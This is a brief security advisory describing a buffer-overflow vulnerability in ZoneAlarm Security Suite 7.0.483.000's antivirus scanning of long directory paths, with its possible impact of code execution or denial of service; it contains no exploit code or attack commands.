ZoneAlarm Security Suite AntiVirus Directory Path Buffer Overflow Vulnerability

ZoneAlarm Security Suite is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input when performing virus scans on long directory paths.

Remote attackers may leverage this issue to execute arbitrary code with SYSTEM-level privileges and gain complete access to the vulnerable computer. Failed attacks will cause denial-of-service conditions.

This issue affects ZoneAlarm Security Suite 7.0.483.000; other versions may also be affected.
